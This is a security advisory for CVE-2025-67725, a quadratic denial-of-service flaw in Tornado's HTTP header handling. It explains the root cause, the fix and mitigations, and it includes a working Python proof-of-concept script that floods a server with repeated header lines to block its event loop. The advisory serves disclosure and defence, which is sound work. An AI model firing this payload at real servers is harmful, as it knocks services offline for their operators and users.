high · 7.5CVE-2025-67725Jul 20, 2026

CVE-2025-67725: Tornado HTTPHeaders Quadratic DoS via Repeated Header Coalescing

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Sending a single HTTP request with thousands of repeated header lines forces Tornado to do O(n^2) string copies, blocking its event loop and taking down the entire server.

Packagetornado
Ecosystempip
Affected< 6.5.3
Fixed in6.5.3

The problem

Tornado's HTTPHeaders.add method stored multiple values for the same header name by doing repeated string concatenation: each new value was appended with old_value + "," + new_value. Because Python strings are immutable, every concatenation allocates and copies the entire accumulated string from scratch.

With N repeated lines of the same header, the total bytes copied grows as 1+2+3+...+N, i.e., O(n^2). Because Tornado runs on a single event loop, one malicious request can stall all other request handling for seconds or longer.

Proof of concept

A working proof-of-concept for CVE-2025-67725 in tornado, with the exact payload below.

python
import socket

# Target a Tornado server with default max_header_size (64 KB).
# For high-severity impact, target one with a raised max_header_size.
HOST = "127.0.0.1"
PORT = 8888

# Each header value is 32 bytes; repeat 2000 times = ~64 KB total.
# The O(n^2) work happens server-side during HTTPHeaders.add calls.
header_value = "A" * 32
n_repeats = 2000

repeated_headers = "".join(
    f"X-Dos: {header_value}\r\n" for _ in range(n_repeats)
)

request = (
    f"GET / HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    + repeated_headers
    + "\r\n"
)

with socket.create_connection((HOST, PORT)) as s:
    s.sendall(request.encode())
    print("Payload sent. Server event loop should be blocked.")

The root cause (CWE-400) is in the pre-patch HTTPHeaders.add path: when a normalized header key already existed in the dict, the code did self[key] = current + "," + value. Each call copied the entire growing string, giving O(n^2) total allocation work across N repeated header lines.

The patch replaced this with list-based accumulation internally, deferring the join to a single O(n) pass only when the combined value is read. The attacker controls both N (number of repetitions) and the per-value size, so total work is bounded only by max_header_size, which operators sometimes raise well above the 64 KB default.

The fix

Upgrade to tornado >= 6.5.3. If you cannot upgrade immediately, lower max_header_size to the default (64 KB) or add a reverse-proxy layer (nginx, HAProxy) that enforces per-header and total-header limits before requests reach Tornado.

Reported by Finder16.

References: [1][2][3][4][5][6]

Related research